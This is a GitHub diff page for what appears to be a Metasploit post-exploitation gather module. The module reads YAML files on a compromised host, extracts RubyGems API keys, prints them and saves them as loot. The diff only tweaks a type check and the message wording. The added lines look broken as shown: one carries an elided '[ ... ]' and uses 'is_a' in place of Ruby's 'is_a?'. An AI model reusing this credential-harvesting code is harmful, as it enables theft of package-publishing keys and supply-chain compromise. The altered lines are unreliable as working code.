File tree Expand file tree Collapse file tree 1 file changed +4
-4
lines changed
modules/post/multi/gather Expand file tree Collapse file tree 1 file changed +4
-4
lines changed Original file line number Diff line number Diff line change @@ -44,10 +44,10 @@ def download_loot(paths)
44
44
path . chomp!
45
45
next if [ "." , ".." ] . include? ( path )
46
46
47
- rubygems_api_key = YAML . load ( read_file ( path ) ) [ :rubygems_api_key ]
48
- next if rubygems_api_key . nil?
47
+ rubygems_api_key = YAML . load ( read_file ( path ) ) [ :rubygems_api_key ] [ ... ]
48
+ next unless rubygems_api_key . is_a ( :: String )
49
49
50
- print_good ( "Found a RubyGems API Key: #{ rubygems_api_key } " )
50
+ print_good ( "Found a RubyGems API key #{ rubygems_api_key } " )
51
51
52
52
loot_path = store_loot ( "host.rubygems.apikey" ,
53
53
"text/plain" ,
@@ -56,7 +56,7 @@ def download_loot(paths)
56
56
"ruby_api_key.txt" ,
57
57
"Ruby API Key" )
58
58
59
- print_good ( "RubyGems API Key stored in: #{ loot_path . to_s } " )
59
+ print_good ( "RubyGems API key stored in #{ loot_path . to_s } " )
60
60
end
61
61
end
62
62
You can’t perform that action at this time.
0 commit comments